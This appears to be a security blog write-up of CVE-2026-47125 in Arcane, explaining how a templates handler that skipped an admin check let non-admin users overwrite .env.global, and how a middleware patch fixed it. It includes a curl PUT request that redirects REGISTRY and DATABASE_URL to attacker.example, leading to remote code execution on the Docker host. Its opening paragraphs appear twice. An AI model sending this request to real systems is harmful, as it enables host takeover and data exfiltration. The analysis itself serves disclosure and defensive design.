//nefariousplan

CVE-2026-47125: Arcane's Admin Check Was Opt-In. The Templates Handler Did Not Opt In.

vendor

patterns

cve

proof of concept

Arcane's backend/api/handlers/helpers.go:12 defines a function called checkAdminInternal. It checks IsAdminFromContext and returns 403 if the caller is not an admin. Eleven sibling handler files in the same Go package call that function eighty-one times between them. backend/api/handlers/templates.go calls it zero times.

CVE-2026-47125 is the bug where an authenticated non-admin user with a bearer token issued PUT /api/environments/0/templates/variables, overwrote the .env.global file Arcane substitutes into every project's docker-compose, redirected ${REGISTRY} at a host they controlled, and waited for the daemon to pull the next image.

Arcane's backend/api/handlers/helpers.go:12 defines a function called checkAdminInternal. It checks IsAdminFromContext and returns 403 if the caller is not an admin. Eleven sibling handler files in the same Go package call that function eighty-one times between them. backend/api/handlers/templates.go calls it zero times.

CVE-2026-47125 is the bug where an authenticated non-admin user with a bearer token issued PUT /api/environments/0/templates/variables, overwrote the .env.global file Arcane substitutes into every project's docker-compose, redirected ${REGISTRY} at a host they controlled, and waited for the daemon to pull the next image.

The admin check was a function the handler had to remember to call.

Every Huma operation in Arcane declares its security requirement at registration. In v1.19.1, RegisterTemplates registered UpdateGlobalVariables like this:

huma.Register(api, huma.Operation{
    OperationID: "updateGlobalVariables",
    Method:      "PUT",
    Path:        "/environments/{id}/templates/variables",
    Summary:     "Update global template variables",
    Description: "Update global template variables for an environment",
    Tags:        []string{"Templates"},
    Security: []map[string][]string{
        {"BearerAuth": {}},
        {"ApiKeyAuth": {}},
    },
}, h.UpdateGlobalVariables)

The Security block runs AuthBridge from backend/api/middleware/auth.go. The bridge validates the bearer token or API key, looks up the user, and stores the user object plus a boolean ContextKeyUserIsAdmin in the request context. It is an authentication primitive. It is not an authorization primitive. The token belonged to a user; that user might or might not hold the admin role.

Authorization, in v1.19.1, lived inside each handler body. helpers.go:12:

// checkAdminInternal checks if the current user is an admin and returns a 403 error if not.
func checkAdminInternal(ctx context.Context) error {
    if !humamw.IsAdminFromContext(ctx) {
        return huma.Error403Forbidden("admin access required")
    }
    return nil
}

The helper is one if-statement and a 403. The handler that wants admin gating writes one line at the top:

if err := checkAdminInternal(ctx); err != nil {
    return nil, err
}

Across the backend/api/handlers package in v1.19.1, that line appears eighty-one times: five times in apikeys.go, five in container_registries.go, ten in environments.go, four in events.go, five in git_repositories.go, eight in notifications.go, three in settings.go, twenty-eight in swarm.go, six in system.go, two in updater.go, five in users.go.

templates.go accounts for none of them. The full body of UpdateGlobalVariables in v1.19.1 reads:

func (h *TemplateHandler) UpdateGlobalVariables(ctx context.Context, input *UpdateGlobalVariablesInput) (*UpdateGlobalVariablesOutput, error) {
    if h.templateService == nil {
        return nil, huma.Error500InternalServerError("service not available")
    }

    if input.EnvironmentID != "0" {
        return h.updateGlobalVariablesForRemoteEnvironmentInternal(ctx, input)
    }

    if err := h.templateService.UpdateGlobalVariables(ctx, input.Body.Variables); err != nil {
        return nil, huma.Error500InternalServerError((&common.GlobalVariablesUpdateError{Err: err}).Error())
    }

    return &UpdateGlobalVariablesOutput{
        Body: base.ApiResponse[base.MessageResponse]{
            Success: true,
            Data: base.MessageResponse{
                Message: "Global variables updated successfully",
            },
        },
    }, nil
}

There is no checkAdminInternal. There is no role lookup on the path between Security: ["BearerAuth", "ApiKeyAuth"] and s.templateService.UpdateGlobalVariables. The handler accepts whichever authenticated user reaches it and writes the variable list they sent into .env.global on the Arcane host.

The same template registrar declared six operations behind the same Security block: FetchRegistry, CreateRegistry, UpdateRegistry, DeleteRegistry, GetGlobalVariables, and UpdateGlobalVariables. None of them called checkAdminInternal either. Six chances to opt in to admin gating. Zero opt-ins.

.env.global is the substitution map every project reads.

backend/pkg/projects/env.go:65 defines EnvLoader.LoadEnvironment, which every project's compose evaluation passes through:

func (l *EnvLoader) LoadEnvironment(ctx context.Context) (envMap EnvMap, injectionVars EnvMap, err error) {
    envMap = l.loadProcessEnv()
    injectionVars = make(EnvMap)

    if strings.TrimSpace(l.projectsDir) != "" {
        globalEnvPath := filepath.Join(l.projectsDir, GlobalEnvFileName)
        if err := l.loadAndMergeGlobalEnv(ctx, globalEnvPath, envMap, injectionVars); err != nil && !errors.Is(err, os.ErrNotExist) {
            slog.WarnContext(ctx, "Failed to load global env", "path", globalEnvPath, "error", err)
        }
    }

    projectEnvPath := filepath.Join(l.workdir, EffectiveEnvFileName)
    if err := l.loadAndMergeProjectEnv(ctx, projectEnvPath, envMap, injectionVars); err != nil {
        slog.WarnContext(ctx, "Failed to load project env", "path", projectEnvPath, "error", err)
    }

    return envMap, injectionVars, nil
}

GlobalEnvFileName is .env.global. Its key-value pairs flow through loadAndMergeGlobalEnv into the injectionVars map, and that map is what project_service.go and custom_labels.go hand to compose-go's variable resolver. Every ${VAR} reference in every project's compose file resolves against that map.

Arcane's own design treats .env.global as host infrastructure config. The operator declares ${REGISTRY}, ${IMAGE_TAG}, ${DATABASE_URL}, ${SECRET_KEY} once at the host level, and project compose files reference those names. That is the legitimate use of the file, and that is why the maintainer added a per-handler authorization check on apikeys, environments, swarm, users, and notifications: those endpoints touch host trust. The endpoint that writes .env.global is in the same trust tier. The handler did not act like it.

A non-admin caller with a valid bearer token, the kind Arcane issues to any user it has provisioned for read-only project access, can run:

curl -X PUT 'https://arcane.example/api/environments/0/templates/variables' \
  -H 'Authorization: Bearer <non-admin token>' \
  -H 'Content-Type: application/json' \
  -d '{
    "variables": [
      {"key": "REGISTRY", "value": "attacker.example"},
      {"key": "DATABASE_URL", "value": "postgres://attacker.example:5432/exfil"},
      {"key": "SECRET_KEY", "value": "value-the-caller-chose"}
    ]
  }'

The handler reads EnvironmentID == "0", takes the local branch, and s.templateService.UpdateGlobalVariables writes a new .env.global rooted at the projects directory. The next time any project's compose is rendered for docker compose up, ${REGISTRY}/myorg/myapp:${TAG} resolves to attacker.example/myorg/myapp:<tag>. The Docker daemon on the Arcane host pulls and runs the attacker's image with whatever privileges that project's compose declared. Other projects' ${DATABASE_URL} references now point at the attacker's database. Other projects' ${SECRET_KEY} is the literal string the caller chose.

The chain from PUT to RCE on the Docker host runs through no further escalation. The bridge is ${VAR} substitution doing exactly what compose-go was designed to do, on a .env.global whose admin contract was documentation rather than code.

Eleven handler files called the helper. Fourteen never did.

grep -l checkAdminInternal backend/api/handlers/*.go on the v1.19.1 tag prints twelve files (eleven callers plus helpers.go itself). grep -L checkAdminInternal backend/api/handlers/*.go, the inverse, prints the files that never call it. With the tests, login flows, dashboards, and asset servers removed, the list of resource handlers that never called the admin helper is:

build_workspaces.go
containers.go
edge_mtls_ca.go
gitops_syncs.go
image_updates.go
images.go
job_schedules.go
networks.go
oidc.go
ports.go
projects.go
templates.go
version.go
volumes.go
vulnerabilities.go
webhooks.go

Sixteen handler files for the resources Arcane manages. Some of those endpoints were intended to admit any authenticated caller (a non-admin operator might legitimately list networks attached to their own project). Some were intended for admins only (gitops sync configuration, webhook registration, edge mTLS CA management, the template global variables endpoint the CVE names). The package-level decision on whether to gate was the per-handler decision on whether to call the helper. The author of each handler answered the question independently, and the answers diverged.

This is the parallel-implementation-gap pattern. The canonical module imports a security check from a shared utility and enforces it; a divergent module, written separately, never imports it. Here the parallel modules are handler files inside one package and the import is free because they share the package, but the call site is still the per-file choice. The CVE names one of the divergent modules.

The shape produced Open WebUI's CVE-2026-45395 in May, where the create endpoint asked for workspace.tools and the update endpoint asked for a per-resource write grant, both reaching the same exec(). The Open WebUI gap was between two authorization models; the Arcane gap is one step coarser. The author was not picking between gates. The author was deciding whether the gate ran at all. Eleven handler files said yes. Fourteen said nothing.

The fix invented declarative gating it could have invented on day one.

Commit 3185f750, titled "refactor: create admin role middleware for each endpoint," landed in v1.19.2 on May 13, 2026. It does two things at once, and the fact that the patch ships both is the testimony.

First, it creates backend/api/middleware/role.go, a twenty-four-line file that did not exist in v1.19.1:

// RequireAdmin returns a per-operation Huma middleware slice that returns 403
// to non-admin callers. Attach via Operation.Middlewares:
//
//	huma.Register(api, huma.Operation{..., Middlewares: middleware.RequireAdmin(api)}, h.Handler)
func RequireAdmin(api huma.API) huma.Middlewares {
    return huma.Middlewares{func(ctx huma.Context, next func(huma.Context)) {
        if !IsAdminFromContext(ctx.Context()) {
            if err := huma.WriteErr(api, ctx, http.StatusForbidden, "admin access required"); err != nil {
                slog.WarnContext(ctx.Context(), "failed to write 403 response", "error", err)
            }
            return
        }
        next(ctx)
    }}
}

RequireAdmin is attached to operations declaratively at registration. Across the patch, the line Middlewares: humamw.RequireAdmin(api) is added to operation registrations 141 times. The templates registrar picks up six of those:

 huma.Register(api, huma.Operation{
     OperationID: "updateGlobalVariables",
     Method:      "PUT",
     Path:        "/environments/{id}/templates/variables",
     ...
     Security: []map[string][]string{
         {"BearerAuth": {}},
         {"ApiKeyAuth": {}},
     },
+    Middlewares: humamw.RequireAdmin(api),
 }, h.UpdateGlobalVariables)

Second, the patch adds checkAdminInternal(ctx) inside the body of sixty handlers that previously had none, including all six template handlers:

 // UpdateGlobalVariables updates global template variables.
 func (h *TemplateHandler) UpdateGlobalVariables(ctx context.Context, input *UpdateGlobalVariablesInput) (*UpdateGlobalVariablesOutput, error) {
+    if err := checkAdminInternal(ctx); err != nil {
+        return nil, err
+    }
     if h.templateService == nil {
         return nil, huma.Error500InternalServerError("service not available")
     }

The handler-body addition is redundant with the operation-level middleware. The patch ships both. The maintainer who had just lived through an eighty-one-callers-versus-zero gap declined to ship the middleware on its own. The fix is defense in depth against the failure mode it is fixing.

The Huma Operation.Middlewares field that RequireAdmin plugs into existed in v1.19.1. The IsAdminFromContext helper it wraps existed in v1.19.1. The humamw package the middleware lives in existed in v1.19.1. Every component of RequireAdmin was already in the codebase. The twenty-four lines that compose them are what was missing, and what was missing meant the gate was a function the templates handler chose not to call.

The same commit also introduces envKeyPattern = regexp.MustCompile(`^[A-Za-z_][A-Za-z0-9_]*$`) and rejects keys that do not match a POSIX env-name shape. The validation was added because, in the absence of the admin gate, the bug also let any authenticated user write arbitrary bytes into .env.global, and the maintainer wanted to bound that surface even with the gate restored. The key-pattern fix is what defense in depth looks like when you no longer trust the perimeter you just patched.

The design debt was the call site.

The maintainer's commit message reads "create admin role middleware for each endpoint." That is the design fix. The model in v1.19.1, where authorization was a function call in the handler body, was the design debt that produced the gap: every new handler was one more chance to forget. The model in v1.19.2, where authorization is a property of the operation registration, makes the per-handler decision a missing line of declarative metadata rather than a missing line of imperative code. Code review reads declarative metadata differently than it reads imperative code. So does grep.

The design-debt-driver pattern says: a component whose bug class keeps recurring, where patches address symptoms and the design holds the primitive. Arcane's templates handler is one symptom. The other thirteen handler files that never called checkAdminInternal were thirteen more candidates the same author had been deciding case-by-case for as long as the API had existed. The patch addresses sixty of those symptoms in one sweep and rewires the design to a model that does not produce the next one. That rewire is what was always available. It took the CVE for the rewire to ship.

PoC: GHSA-jpjh-jm2p-39hh.

The function existed in v1.19.1. The templates handler did not call it.